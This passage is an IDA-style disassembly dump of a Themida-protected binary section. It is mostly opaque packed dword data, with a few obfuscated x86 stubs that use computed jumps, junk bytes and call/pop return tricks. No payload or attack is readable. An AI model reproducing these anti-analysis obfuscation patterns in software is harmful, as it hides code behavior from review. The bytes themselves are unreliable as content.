81E38953h, 4C3h, 4EB8300h dd 31241C33h, 1C33241Ch, 0AB685C24h, 8900003Dh, 0D868243Ch dd 8900000Fh, 0BE56241Ch, 63585580h, 0D107EEC1h, 0D8F796E6h dd 8EF68196h, 812B0949h, 0FF1B54CEh, 2EEE817Eh, 89F9E4BFh dd 8B545EF7h, 0C483241Ch, 0BB535704h, 0AB4193Dh, 4245C31h dd 8438F5Bh, 3D087381h, 0FF0AB419h, 835B2434h, 34FF04C4h dd 0C4815F24h, 4, 0FA4E85E9h, 63B9C2FFh db 97h, 15h, 7 ; --------------------------------------------------------------------------- loc_5DCA03: ; CODE XREF: Themida_:005DB9E4j mov eax, 61B2F51h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 0C80ADA2h, 77F6B16Eh, 378A5192h, 48443798h, 52E20001h dd 2B2C7EE2h, 45AA1D82h, 1A53354Ah, 9A65780h, 18AE9h, 0E6470C00h dd 0D52C2710h, 0B198D31Ah, 0CAD1D746h, 7E41EFB4h, 9752E45Bh dd 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h dd 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h, 0EE73AFh, 0BA9755FCh dd 0E56D599Ch, 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h dd 9549F78Fh, 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh dd 43h dup(0) dd 84970000h, 0F033A26Dh, 0EE69h, 2 dup(0) dd 0E9000000h, 1001h, 1B336368h, 173EE906h, 6D68FFFBh dd 0E9061B34h, 0FFFB1734h, 1B363268h, 172AE906h, 0E368FFFBh dd 0E9061B36h, 0FFFB1720h, 1B380168h, 1716E906h, 0F568FFFBh dd 0E9061B38h, 0FFFB170Ch, 1B398968h, 1702E906h, 3968FFFBh dd 0E9061B3Ah, 0FFFB16F8h, 1B3B4D68h, 16EEE906h, 0C968FFFBh dd 0E9061B3Bh, 0FFFB16E4h, 1B3C9768h, 16DAE906h, 3468FFFBh dd 0E9061B3Dh, 0FFFB16D0h, 1B3DCA68h, 16C6E906h, 0E668FFFBh dd 0E9061B3Eh, 0FFFB16BCh, 1B401868h, 16B2E906h, 0BCB1FFFBh dd 4C44CFC1h, 0BAB45F31h, 4E36C1C3h, 0C0B25D2Fh, 7E6CCBBDh dd 0FDCFAEA4h, 70601D12h, 0FDCFAEA5h, 62621B12h, 94C1BDAAh dd 0A723ACh, 9F863D95h, 0F36A13FAh, 0DF6AF33Ah, 863395E8h dd 724CDB2Ah, 0B353E814h, 0B6901940h, 0A729D6E3h, 7DF96905h dd 6BECEF2Ch, 0D3827C6Fh, 0C1A729DEh, 4BAEE298h, 20000000h dd 0D7D76CC4h, 0AD3EDEBAh, 0E9062FDAh, 53E1F90Dh, 0A6A0B5B3h dd 0E57C01F3h, 0B55C052Ch, 58F9E57Ch, 6AA729DBh, 88D5B186h dd 14A729DBh, 0F8950C65h, 47F9700Dh, 0C5ADC55Dh, 3108B1B8h dd 0BC38AC4Ah, 6BECF7EBh, 0D00Bh, 9F86BD00h, 482AC7DEh dd 0A6A12C35h, 6B4B58D7h, 0AD3EDF2Eh, 0EC73BB6Eh, 27564EFFh dd 0F49FD77Eh, 2A0484F9h, 0AD3EE339h, 0FF7A28Dh, 755AF76Eh dd 0EB083108h, 0DA5FFEF8h, 0C3DAD3Eh, 0B0976266h, 0B977D4CDh dd 55817D6Ah, 41B353EEh, 0B0D31F32h, 4A23C4A6h, 2473CD7Ah dd 28042707h, 79A0AD41h, 840EC97Ah, 53ED3CA3h, 8D7F0E1Bh dd 293A0F0h, 3522C0Bh, 91AD3BE7h, 0AAE991E8h, 435FB5C8h dd 4DFA0790h, 0D8E32D4h, 4E90000h, 846C1779h, 2EC97F9h dd 867E097Bh, 8EA95F7h, 26941375h, 3597E6CCh, 0B818654Ah dd 3597E6CDh, 0AA1A634Ah, 5CF9F5F2h, 38A723ABh, 0A486F54Dh dd 210CF7D9h, 8C3F6C5Ch, 26BC10EFh, 0ABD2B7CFh, 0FC32FBB2h dd 0AD99248Eh, 0B57C01ECh, 5C2D05ACh, 989695E4h, 0B353E2A2h dd 74211D0Eh, 4EA729DBh, 0D77E2756h, 0C895DD8Ch, 7B1E08A1h dd 47A729DBh, 5901964h, 4512D0Ah, 90A729DCh, 621990E9h dd 8CC6E054h, 46C3237Ah, 72FC73BAh, 1B018602h, 0B9F56BECh dd 0C7000000h, 0E4B39924h, 1D6286CDh, 0A8C178C2h, 230A49F1h dd 6A270714h, 2AAD3E3Bh, 3B5603FFh, 1346AD3Eh, 0C4A6435Ah dd 55D6B0B9h, 0F1AD3E40h, 7A0587F6h, 1473EA93h, 0E0DE4D9Ch dd 0B3534B32h, 68D5B762h, 0CAB39DD0h, 7BB2CBBFh, 0D8CE7F6Ch dd 0AB6FCDA5h, 0EBAD40D2h, 2E24B13Eh, 0A5307D4Fh, 1ED7CEAFh dd 26573D58h, 77BBE32h, 8F33EEFAh, 0C84h, 97B02F3h, 91F38A7Eh dd 0B7D00E6h, 97F98480h, 157706ECh, 0E4C62096h, 634C3799h dd 0ECDFAA1Ah, 59543F91h, 0FFECA424h, 23AA52FFh, 0FB5342A7h dd 5AD9A486h, 0DF306D49h, 0D96CAD3Eh, 601990EDh, 0A26D6119h dd 44F2D2ABh, 0A4F89F86h, 60BA0B4Bh, 0DE6F7CB5h, 670E97E6h dd 12FD980Fh, 14AC196Bh, 0BA4826C5h, 0DAB35404h, 94C362Fh dd 0DFA729BAh, 334A41CCh, 0C1AB832Ah, 0D5F4B531h, 14A76BECh dd 83588B53h, 28680E4Fh, 72h, 1D6CC49Ah, 7BA300Eh, 0E9DAB354h dd 29B5500Dh, 0E7374CA7h, 566EC861h, 821B521Bh, 29D7F598h dd 0EF83F3A7h, 0ECF03673h, 44C26Bh, 0C4F40000h, 300E1D6Ch dd 0B35406EEh, 0D8858172h, 0F0A729B6h, 0BCFF6C68h, 29500BB5h dd 3C651451h, 296B2F62h, 9BAB9A7h, 0D8291864h, 119BD3A2h dd 3B6425A1h, 24376BECh, 29130B4Ah, 9AE089A7h, 1EF6h, 9724C800h dd 0F70750AAh, 1802B8E9h, 9FEBC0CFh, 7AFE90E6h, 35000008h dd 0C2DBA288h, 0C465630Bh, 0BAD7D76Ch, 0DAAD3EDEh, 0DE500DE9h dd 1D4CAD3Eh, 84923754h, 89D60E1Fh, 8D4343B0h, 75B35989h dd 69FDEC8h, 0B3E274Fh, 27B711Ch, 1FACBF2Ch, 0EC2BD676h dd 8BE34Eh, 6D187805h, 0FFECFB82h, 1A24594Eh, 0A723CE7Bh dd 1F4AF019h, 4F4578D0h, 717E372Eh, 23CEC895h, 0CCA5D4A7h dd 0FF385F5Fh, 0AD5CAD3Eh, 0FF988F3Eh, 9713BC9Eh, 7A03EA80h dd 2A032AE3h, 0C5C04D5Ah, 0DCD382B8h, 7A0B08A1h, 6846E598h dd 0AD3EB529h, 1B78BE6Bh, 782D689Dh, 0E862EDC2h, 0F2A4A291h dd 0A2B353E4h, 7211A177h, 0B673FC10h, 0ABF14h, 0AAD3B800h dd 423B2FDAh, 0ACD1B742h, 483531DCh, 0A6D7BD48h, 0F7118726h dd 9D686815h, 3CC7C9B4h, 0DDA82855h, 61398BF2h, 0A8CB8A64h dd 0DCC9A723h, 0E0163766h, 4EEAAD3Eh, 6B65F0FFh, 8CE28B12h dd 0E599F9Fh, 0CC7DB35Ah, 0A2F14FFCh, 0DE5BA985h, 0CA7FAD3Eh dd 0E4B5B05Dh, 0E8E891ECh, 59240ABBh, 1E7B7221h, 861F5627h dd 0B3408F29h, 5A0D94D3h, 83FCCB3h, 0C4B99B55h, 4E332787h dd 1D0A3F28h, 90227570h, 96EF077Fh, 12FDCFA6h, 5F3B621Bh dd 27231930h, 0D44378D0h, 0E0C3C5E3h, 0EE8072Eh, 2D387368h dd 0BD3F1544h, 0CF7A0BC7h, 0A0EB052h, 84690000h, 4EC97F9h dd 826C1779h, 6FE89FBh, 886A1577h, 0A61493F5h, 0B517664Ch dd 3898E5CAh, 0B517664Dh, 2A9AE3CAh, 0DC797572h, 0B8A723A8h dd 6CC475CDh, 8D7F0E1Dh, 0DE8DCCAAh, 5A0FAD3Eh, 2AB97413h dd 0AEB8E736h, 358B6B88h, 71B3593Dh, 0DC95E8E4h, 0BAF5C4Fh dd 16CA948Eh, 0E9E46FC7h, 0EBDFBAB0h, 0BC2DB92h, 0B0976262h dd 97EAA787h, 7FAAA723h, 0E860AFB6h, 709C9A99h, 8CAD3EC8h dd 0A28910F9h, 620B92DBh, 0AE0C2125h, 930E435h, 0CEAF9EAh dd 0AD3E2D4Dh, 39541A4Fh, 0B25D2F4Eh, 4C9BC2BBh, 0A886A5F4h dd 0B3595E1Fh, 0E69794C5h, 0E4717EFFh, 0C4B9B0E9h, 0D4C1C56Dh dd 8E180127h, 0E78F7DD6h, 0A5BCC1ACh, 237098B9h, 81D068A7h dd 0A0F09472h, 7DACAD3Eh, 95E8DF6Eh, 7157E633h, 80A9E8C6h dd 3EEBAD3Eh, 19143FF7h, 52EE3D64h, 0BA0AE403h, 0DEB359B0h dd 8835322Bh, 0BC2DBA2h, 7073221Ch, 0F821A723h, 0A8F75142h dd 947BAB8Bh, 0EE1BAD38h, 0B26642Ah, 8D21D8FAh, 8F0h, 0F5D7A687h dd 7557260Ah, 0F7D9A48Ah, 6B5D200Ch, 0F1D3AAA0h, 0C8AA4432h dd 3F28D3B5h, 0D0C34E3Eh, 3530DBADh, 0E3D04848h, 23A6B6E3h dd 1F6FE6A7h, 16FA9F86h, 0BBB33E67h, 3BF29BC2h, 0D17C6BF2h dd 0BECDA5D8h, 22AFB6C7h, 0BB564F2Eh, 6B3AAD3h, 84EE089Ch dd 0DC801BDDh, 59DD5E17h, 0C7B6B1C9h, 69D1D6C5h, 7257201h dd 97000000h, 4F27Fh, 48823100h, 0E5989441h, 6C5D15BCh dd 886685D4h, 0B353E88Ah, 0ACE9C5D6h, 0E8A729D5h, 85D4B241h dd 17A729D5h, 26530C62h, 0A72A85A1h, 0B3627A35h, 1879C1BCh dd 33E251A0h, 8B263F3Eh, 24CDD4A9h, 2A04254Dh, 0DE352E78h dd 8AC7A71Ch, 0ADA32EEh, 0A7F6D05Fh, 0F5DA32EEh, 1774ED44h dd 0E1DD4A99h, 0E04B616Ch, 6152E188h, 7AC0BDB4h, 789F4DBh dd 0F7866B1Ah, 6419143Fh, 16E900F0h, 71158C2Fh, 7FCh, 0E1E39A7Bh dd 794B3216h, 0E3E5988Eh, 7F512C18h, 0EDDF9E94h, 0CCBE584Eh dd 3B34DFB1h, 0D4B74242h, 715C27A9h, 0E7E4BC0Ch, 23A64A07h dd 0E35B4AA7h, 0CCB19924h, 7D00E7A6h, 1A6349E4h, 6EA31DAAh dd 0FCBB0524h, 89CDED16h, 8E1A0B48h, 2F0F1C55h, 0B359AF9Fh dd 18A542F7h, 3380502Dh, 62D1ACA2h, 23703564h, 7CB267A7h dd 0FEA7D6D1h, 2BC817B1h, 0D8A58D38h, 0A068A4A2h, 0E594AD3Eh dd 0ADD0B746h, 483530DBh, 0DF9E9421h, 5348179h, 9436F3FAh dd 768h, 6D5F1E0Fh dd 0FDCFAEA2h, 6F611C12h, 0F3D5A8A4h, 695B2208h, 5042DCCAh dd 0B7B05B2Dh, 583BC6C6h, 0EDD8A325h, 6B684090h, 23A5CE8Bh dd 67D7CEA7h, 1A373724h, 7AAD3EDFh, 0B1CCC2CFh, 61B00889h dd 0F18F4D2h, 1544B35Ah, 0B3846716h, 23AE86D3h, 0A6316A7h dd 6606F493h, 0E7D96C65h, 0BA4BE88Eh, 2E3DAAD3h, 235B0150h dd 0B4C9C1A7h, 1878BE6Bh, 8B5826Dh, 8D445D20h, 235AE4B1h dd 0D7A3B0A7h, 0BD28C8AFh, 0BCE58CE5h, 34493ECFh, 0DDAE842Dh dd 4171463h, 0F17A1717h, 0EF1AA722h, 0F971BD47h, 9CCDAD37h dd 0B81FCB8h, 0D57930FAh, 6B8h, 0DDAFCEBFh, 4D3F3E32h dd 0DFB1CCC2h, 43453834h, 0D9ABD2B8h, 0A0926C5Ah, 2720EBDDh dd 0A88B7656h, 1D08F3D5h, 0BBB87060h, 23A49EBBh, 3787FEA7h dd 15FA9F86h, 38452D68h, 501F201h, 0AD3EDE58h, 425D1544h dd 0A4BDC0A7h, 97AF43B3h, 0AF5ECDB0h, 0F59CC5B8h, 4D5A493Dh dd 0A97201F7h, 7, 2C57F1Bh, 86310000h, 68C7DE9Fh, 817281D0h dd 0D6BBDED4h, 0B6C1CEA7h, 0FD8C2B0Ah, 0F7D12B03h, 23B35921h dd 644CF9F6h, 0D059019h, 1D71C970h, 5B027B72h, 2FA1DCCEh dd 0B59126A2h, 0A722FFE8h, 0D48FEEE2h, 4C5FCCA5h, 0AFB6C7C1h dd 0D9D63006h, 47AD3E2Fh, 77061512h, 0BC75EC91h, 3DF01342h dd 0C1BCAFADh, 336F1A8h, 180FBE2Bh, 0AD986365h, 85B063D0h dd 0BBF31A8Bh, 83AAD3B6h, 3319B4ABh, 9C730F64h, 4E366A67h dd 8549062Fh, 0A7C0A40h, 0CA2940F9h, 29543B6Eh, 0CFE3E350h dd 0EFB352F9h, 0FC672F54h, 0DD94CF41h, 10F4AB77h, 9A2CE5FCh dd 5A4h, 299BE2D3h, 0B1136A5Eh, 2B9DE0C6h, 0B7196460h dd 3597E6CCh, 4E60076h, 836C1779h, 0CFF8AFAh, 79741F71h dd 1F0C8404h, 23A3721Fh, 0DB3322A7h, 0C7DE9F86h, 854432Ah dd 5716A78Bh, 24B1B881h, 0BB564F2Eh, 1BFCA5D8h, 60D3079Bh dd 5F465ED6h, 7281AE1Eh, 3EA7C594h, 0CCA2D7ADh, 1C04C5Dh dd 7AC72h, 7F1E0000h, 144h, 0DE9F8631h, 56BA67Ah, 871BD6FAh dd 528h, 0AD1F5E4Fh, 3D8FEEE2h, 0AF215C52h, 3395E8E4h dd 0A91B6248h, 90829C0Ah, 0F7F09BEDh, 987B0686h, 2D18E3E5h dd 0ABA88050h, 23A38ECBh, 27970EA7h, 807A9724h, 4B2B8C37h dd 7D6823h, 570600F3h, 73AD3E06h, 1322FD80h, 923B621Bh dd 810C93DBh, 8D6EF786h, 666179E9h, 2166B517h, 0D572011Fh dd 21h, 3E5B5B48h, 5EAD3E0Fh, 0D59CE1C7h, 0BD7F2B9Dh, 92000000h dd 0F66F0E03h, 7F99F73Fh, 0B0h, 396CC431h, 0E8072E4Fh dd 4F0EE8FBh, 4DAD3EDEh, 1CE8561Ch, 38B35A10h, 0ADAEEBCBh dd 3BEEA723h, 18611C0Eh, 17826A1Bh, 4E244D30h, 93CF453h dd 0EB927920h, 2FCEB42h, 0AD38D378h, 2F27ED1Ch, 0A1FA0B7Ch dd 45A46E8h, 381D0000h, 0D0B84345h, 3630DBADh, 0D2BA4547h dd 3C2ED9ABh, 0FAF04F41h, 71532A20h, 0ECDCA186h, 71532A21h dd 0EEDE9F86h, 203D3936h, 7CA723A3h, 6CC4B909h, 0FB300E1Dh dd 99B3542Dh, 0E269CD8Ah, 3FF6969Fh, 522B25B0h, 98163872h dd 0C1ACA729h, 2CDFCCBCh, 0D6BA2523h, 0B73FE8A7h, 0DFC984AAh dd 0F563079Eh, 4D000003h, 0E1D6CC4h, 4DC46E1Dh, 92C9FB5Bh dd 6DA662DCh, 0A7D2B359h, 8217B1FEh, 0A29CE1D3h, 0A7234CF3h dd 32C178A1h, 38732A54h, 59BF6AADh, 0FA0BDFF3h, 0BD8628E1h dd 0BA000003h, 5924A4D9h, 0D1BC0C71h, 5B26A6D7h, 0CFBA0A73h dd 9130A0DDh, 720B011Bh, 0FB826712h, 720BFE89h, 0FD806712h dd 1816138Bh, 0A723A179h, 24D42A1Bh, 0A3CBB299h, 0AC3B8A26h dd 5A0FFAD2h, 0FCEB1EB3h, 20228F4Fh, 0D39BE4DEh, 0BDC0A756h dd 14413D2Eh, 80A72349h, 622DA1D9h, 3C8B126Bh, 0B8B63584h dd 0AD3E789Fh, 26D75405h, 0C34E3E3Fh, 0BBB8B1CCh, 2258250Ah dd 0EDE417B1h, 6C4AE990h, 0B3534A2Ah, 0D9A48736h, 145129D0h dd 0DC4BEF65h, 0CC45FC10h, 3273Ah, 225B5000h, 8AF3D7A2h dd 24594F3Ah, 90EDD9A4h, 1E5F5540h, 7F990FAEh, 0F5A0F08Dh dd 840F81FCh, 0F5A0F08Dh, 890183FAh, 0A1F3A29Ch, 0B4A1A723h dd 0DE9F865Eh, 563DC8C7h, 48C95341h, 0C66FA902h, 93EAE570h dd 0DD2C8431h, 2412704Eh, 1742B353h, 12E1B48Eh, 6707A729h dd 2B2A7FFBh, 2ECE6BECh, 0 dd 0E1D6CC4h, 53E20A30h, 52B9CAB3h, 0BC7E57D3h, 0BD1AC233h dd 0C6E1CF8Eh, 490CF66Fh, 9FA72952h, 6227A30Fh, 966BEC6Fh dd 0DCh, 0DE9F8628h, 35482AC7h, 0F3A6A12Ch, 38B77EFFh dd 0DF0E4B2Bh, 0DB8EAD3Eh, 86810C93h, 0CC9B95F7h, 16AD3EE3h dd 0F9846A2Fh, 2070C970h, 0E4037A75h, 4B98E657h, 90E6532Fh dd 0AFFEBA19h, 0D1B44640h, 21ACB353h, 37A7425h, 0CF7A332Ah dd 5009A0DDh, 0BC0C3D2Ah, 94E9DE6Fh, 0BD0E640Dh, 3737B403h dd 0AD41781Bh, 0B461CE7Bh, 4330BFBEh, 3C261643h, 9BD386ADh dd 514DFE2Bh, 0F119DE86h, 0A587C66Ch, 0DAE484D8h, 0F1A8FA07h dd 20B5Dh, 0F6876C00h, 7607EB96h, 0F8856B16h, 7C01ED98h dd 0F28B810Ch, 4BA51392h, 0C9B41469h, 602B9DE0h, 0C9B41469h dd 752D9FDEh, 0A0DF7E78h, 0C8BDA723h, 6397247Ah, 0BF674C5Bh dd 5339541Ah, 0B8AF5A2Ah, 714DEAE1h, 0AD3E3124h, 0F970C970h dd 2997F940h, 4D396CC4h, 0D5803930h, 5ECDA4D9h, 53E2DA60h dd 0E04FFAB3h, 0DBA6F3D3h, 43F6A729h, 0C78A74EBh, 21A729DBh dd 0F2A31D95h, 0CAB39AFFh, 1B531AD3h, 0ECF77B0Ch, 0EB7B6Bh dd 1FAE0000h, 0AB1D5528h, 1E219724h, 65D9308Eh, 0F6877E0Dh dd 8DF0E26Fh, 4F392A14h, 0A28DAD3Eh, 4EFC9995h, 8D98AD3Eh dd 26CFD6A7h, 79A6264Fh, 4ECD8C6Ah, 9ACFAD3Eh, 0CBCEB9D4h dd 821198E5h, 17522CDDh, 0EAA7CE9Ch, 0A5BC7508h, 8C9BEA46h dd 0F5B1EC9Fh, 0B9FDDC3Eh, 72738381h, 5CEFB353h, 54569DC9h dd 89F4DD9Fh, 0CEAFA5B0h, 0F581ED7h, 63DD6A5Ah, 10A1F0CEh dd 0F3A729h, 29105706h, 5D1445A7h, 1C171714h, 0B8AD40B8h dd 0B591A291h, 0AD3C75E8h, 3CAD85B4h, 0E2E29B91h, 0D4483517h dd 0FA07025Ah, 0D92FD34Eh, 9E000000h, 1500D0ADh, 0A570601Dh dd 7F2D2ABh, 0A36E5E1Fh, 3DFCCCB1h, 0BEBFB54Fh, 2F4E43CEh dd 0BEBFB25Dh, 314C43CEh, 0ECCAC75Fh, 0A7239EADh, 860876EFh dd 0CF7D9A4h, 3CCF5C21h, 0EB2989B2h, 4090E672h, 0DE9F8692h dd 0F4432AC7h, 3EDE5BFAh, 691039ADh, 0F5EDA67h, 0E792620h dd 62F3B35Ah, 0DE970E6Fh, 8D9ACF98h, 0B4132BFEh, 99B30D3Ch dd 5A7714F0h, 502EBD32h, 0A723BC01h, 1990E693h, 0F5886B1Ah dd 0DE6DC56Ch, 2ACAB0E7h, 241869E1h, 95907B4Dh, 73E5C1E8h dd 62BE2034h, 57E660D4h, 0DB920B72h, 8A0DF893h, 0DEBEF1E9h dd 0E7EB758h, 78F18C83h, 158CF1DDh, 4940CD5Eh, 470FE34h dd 6A13FB8Ah, 59F43AF3h, 0D2BD0F6Eh, 67FBA2DBh, 8, 0B3992449h dd 8317A4CAh, 0D1D8A586h, 2D344944h, 0CDD4A9A0h, 2F364740h dd 0D4CDB0A2h, 332A5339h, 0D6CFAE96h, 8128553Bh, 0E881FCF4h dd 0E0895004h, 405h, 4E88300h, 8B240487h, 36682424h, 89000000h dd 89512404h, 4C181E1h, 81000000h, 4E9h, 240C8700h, 240C895Ch dd 1B322B68h, 24048B06h, 4C481h, 8B540000h, 0C481240Ch dd 4, 8BB53h, 0CB010000h, 1C8B0389h, 4C48324h, 57240C8Bh dd 0C781E789h, 4, 4C781h, 3C870000h, 34FF5C24h, 0C4835824h dd 74EE904h, 4824FFFBh, 92CA2E72h, 4116B8BCh, 0C503061Bh dd 0AB3EE0FFh, 4D7E1F1Ch, 8B787437h, 0AF0E3873h, 26855FFDh dd 7E85D45h, 15000000h, 7B3FE764h, 94B58F4Ah, 7761BA5Fh dd 0C7814CA0h, 70DFh, 0CAB70F56h, 2CA2BB5Eh, 0EB81713Ch dd 713C1094h, 3810Fh, 0F2800000h, 8A37FF1Eh, 0CE958EBh dd 8B000000h, 22DF6604h, 0ED18204Ah, 815DC465h, 0B25C70E8h dd 0BE822h, 0A7790000h, 5292D895h, 123D9BCDh, 0F2816696h dd 815A1DFAh, 0C40F86C0h, 81F08A31h, 31050EF0h, 7E28103h dd 89468FBBh, 0DE907h, 11470000h, 45DFBF8Dh, 1B37ACE1h dd 83897329h, 5E901EFh, 88000000h, 38D6A006h, 814F4F4Fh dd 0C9588EF6h, 850F4B22h, 0FFFFFF89h, 4510E981h, 8D8D4F2Bh dd 61B435Fh, 0EEB86652h, 870F5AFDh, 0Eh, 9E9h, 17856A00h dd 0BDC4C506h, 8D89F167h, 6152721h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 34C35747h, 0EE44DA86h, 1D8D31F5h dd 0C7061527h, 1504CD85h, 72EC06h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8091715Ch dd 14E9CFD3h, 42000000h, 0FA9815CEh, 56A242Ah, 0CB67D726h dd 37B2C23Dh, 315DD0D1h, 15223595h, 1585C706h, 61511h dd 8B000000h, 95B5FFF0h, 6A061505h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 1A3AC355h dd 609E457Ah, 0F7B70F17h, 2C995FFh, 6A0615h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 3A5ADDC3h dd 6A37422Eh, 2195FF00h db 2Eh, 15h ; --------------------------------------------------------------------------- loc_5DDD8E: ; DATA XREF: Themida_:0057C14Co push es mov eax, eax jmp short loc_5DDDFD ; --------------------------------------------------------------------------- db 0B7h dd 0E93AA788h, 66DA58E6h, 1C9764C5h, 848A2104h, 0CC0212B1h dd 8683067Dh, 3A2CEFh, 209425FCh, 0C9E5A942h, 5841C7EAh dd 5FD20EEFh, 0C1D52720h, 0F1C3406Fh, 6360B78h, 0EE4E1AB6h dd 7224AD4h, 0CD504AB2h, 923343A1h, 0B51242ABh, 6A4EDE12h dd 29728517h, 0A046E324h, 77A80216h, 8DC5B98Ch, 65DAE12Bh dd 535FBBCBh db 3Bh ; --------------------------------------------------------------------------- loc_5DDDFD: ; CODE XREF: Themida_:005DDD91j lea ecx, [ebp+61B4475h] cld mov [ebp+6152721h], ecx pusha mov [ebp+61509B5h], eax jmp loc_5DDE21 ; --------------------------------------------------------------------------- dw 2C72h dd 0C9956ECFh, 0DD5469BAh db 0A3h ; --------------------------------------------------------------------------- loc_5DDE21: ; CODE XREF: Themida_:005DDE11j popa mov dword ptr [ebp+61504CDh], 6E94h push 0 push edx call sub_5DDE37 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DDE37 proc near ; CODE XREF: Themida_:005DDE2Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5DDE37 endp ; --------------------------------------------------------------------------- db 29h dd 0D0F47D6h, 0D0FF502Ch, 0C7C78B66h, 15111585h, 6, 0D7FDBB00h dd 0B58B7898h, 6150BF1h, 3375B5FFh, 6A0615h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 50F554C3h dd 0C4805BF9h, 0C995FF83h, 9061502h, 1510F59Dh, 0FF006A06h dd 152E2195h, 0EBC08B06h, 68875A0Ah, 0BF0EF22Bh, 0E9D8A596h dd 24h, 6F189A5h, 8 dup(0) ; --------------------------------------------------------------------------- jmp loc_5DE465 ; --------------------------------------------------------------------------- db 0D6h, 58h, 0E8h dd 2393160Dh, 0F060DD52h, 3AAA0E25h, 0F666C45Bh, 9003881Fh dd 0FC33C232h, 0B56A0B7Bh, 12EC737h, 50831282h, 0B692B78Eh dd 9859169Dh, 9E0E6DC6h, 864F48ECh, 0E83A0A7Bh, 0E05139EDh dd 0AEC3F363h, 0D141C04Ch, 2EC7E8E5h, 24128201h, 0FA3CAC0Fh dd 1E1888E9h, 13B41B82h, 7EB540B0h, 63E78EFEh, 2287CA79h dd 5AD91086h, 6DD3ACEAh, 0FF7DAE5Ch, 159A878Fh, 22C811B4h dd 0E2B31086h, 58EBF1CDh, 10862331h, 15FFEBBCh, 0A5072C2Eh dd 735A5535h, 0A3E65D7Fh, 0E1108623h, 477FFF7Ch, 0D1E25E2Bh dd 0C7CF839h, 0AD39BA69h, 0C939BF4Bh, 0F0DFF0CDh, 801F3FC6h dd 0DA5B1086h, 8BD356F3h, 905997A8h, 2D000000h, 5F57C724h dd 86F2BFE4h, 933ABB10h, 0E45F7D5Fh, 1086F2BDh, 93B66F40h dd 5A1086F2h, 59396E49h, 0C0A42588h, 4AFE6B2Ah, 0A8697A8h dd 0C4000000h, 0A6680793h, 4E3C1FA5h, 55C524E6h, 81F15061h dd 0FD249FBDh, 801086F2h, 970764AFh, 825339F3h, 76D69ED7h dd 2EDB8F14h, 475C5ACAh, 314274E4h, 51C143CFh, 4F476865h dd 7E6558DFh, 6E842BB2h, 0C38CD570h, 5E6F1086h, 8AFA7FACh dd 0C67D5FEBh, 1086C383h, 80B1596Ah, 81F17703h, 2461C7AEh dd 536056C6h, 81387EEEh, 0A022A518h, 0A8052E30h, 0EC435238h dd 0A171F8Fh, 470D4AABh, 1EABE6CFh, 5EBEE342h, 7B3D1086h dd 865E81C8h, 745B6C10h, 32DD5B5Bh, 0C86BBE8Bh, 5ED197A8h dd 0E5000000h, 6056C624h, 9482F253h, 0C82A951Ch, 0C410258Fh dd 1D990D14h, 1C8B900Bh, 0A465052Ah, 0F03FD646h, 0FFF42292h dd 0AB0D0979h, 0C910B3A9h, 0B41086DAh, 1D9007E3h, 0A844F12Ch dd 4F3797h, 24530000h, 2B8856C6h, 6D6254C4h, 22A28F7Dh dd 960384B2h, 666CB27h, 0BBAFA096h, 997CEC4Eh, 39C52493h dd 724B4BBBh, 6650C041h, 0F5504669h, 1086F2A9h, 0AA07D5C9h dd 0E1DED848h, 86F21D44h, 1BCFE010h, 7D004974h, 397A81Ah dd 1, 0DF624F17h, 5D56276Fh, 999A70E0h, 0C108BB1Ch, 0AC1086F2h dd 0B4AAB49Bh, 86F2C811h, 0B1E2B310h, 0D8B5E151h, 8CEF0432h dd 8EF1421Ch, 0F373962Dh, 29FA1086h, 0CBAA6406h, 53D4DDFFh dd 0F31F42E3h, 0CDDE1086h, 0A74B721Dh, 0F3CB0EB5h, 0C5B21086h dd 0CEBFF767h, 0AD0809E1h, 0E1F6583Dh, 0D49A7913h, 0F39D4D53h dd 784B1343h, 169BA6ACh, 0BDB6E0B1h, 0F827CE3Eh, 0A80B0B7Bh dd 16939763h, 9235A811h, 0DFFDC131h, 93973D64h, 47FEC016h dd 16939702h, 13F7D8E9h, 0BC48AB78h, 0E9E6D040h, 60E3D0C6h dd 4DADC6F0h, 0AC5EBE5h, 9BB4412Dh, 0CF12B19Bh, 0AE16939Eh dd 0A515969Dh, 95058071h, 0D4BDACA1h, 4B0FFAE9h, 7BF985E6h dd 1D320B0Bh, 2C9B426Dh, 567F5FCFh, 0BB7F8D5Eh, 0B9D5E26Bh dd 0BA705C37h, 0C3EE7D6Dh, 9DBD5D36h, 135BEh, 0BABDA00h dd 3D903DBh, 86F21940h, 63E2E410h, 1086F23Eh, 27C3ECBDh dd 9BF67C7Ch, 843F0116h, 1693F65Dh, 62A71E20h, 91693F6h dd 0FE381738h, 7F1686E5h, 0B3E353B0h, 0C9CD3DBEh, 0AFE757D8h dd 0E3D343C2h, 5D8639E0h, 0EDDA05ACh, 0D3771E8Eh, 0F6173A09h dd 0C5D61693h, 1E036625h, 50899DBDh, 9D000000h, 0DE0EABh dd 86F23C45h, 0A8EEBF90h, 0FB6BCDE6h, 0F26DB40Fh, 0CE909086h dd 0A3930365h, 0E6D9C0AAh, 0D141A70Ch, 76C27F39h, 2C8D86F6h dd 0F8CB93BCh, 1086F2F1h, 0E6CAAB7Ch, 96h, 64BFAE4h, 0E51086F2h dd 0F23960E3h, 0F3C41086h, 0AB062EDCh, 0CC3CBF0Bh, 0DEF161C7h dd 0DE00DE00h, 86F22267h, 4DF8C910h, 1086F204h, 5DDDD6E7h dd 36D4A9EDh, 9C062B87h, 55415216h, 4F6FDF5Ch, 7C6EDE62h dd 7D686DF1h, 0D07B50DAh, 0C043F09Ah, 0BDDF6650h, 4316932Eh dd 0BC875A7Bh, 0A0CB0926h, 0CAA01073h, 84E7E0CFh, 85398114h dd 82538955h, 2D25CEBh, 0DCC7A379h, 10B7B238h, 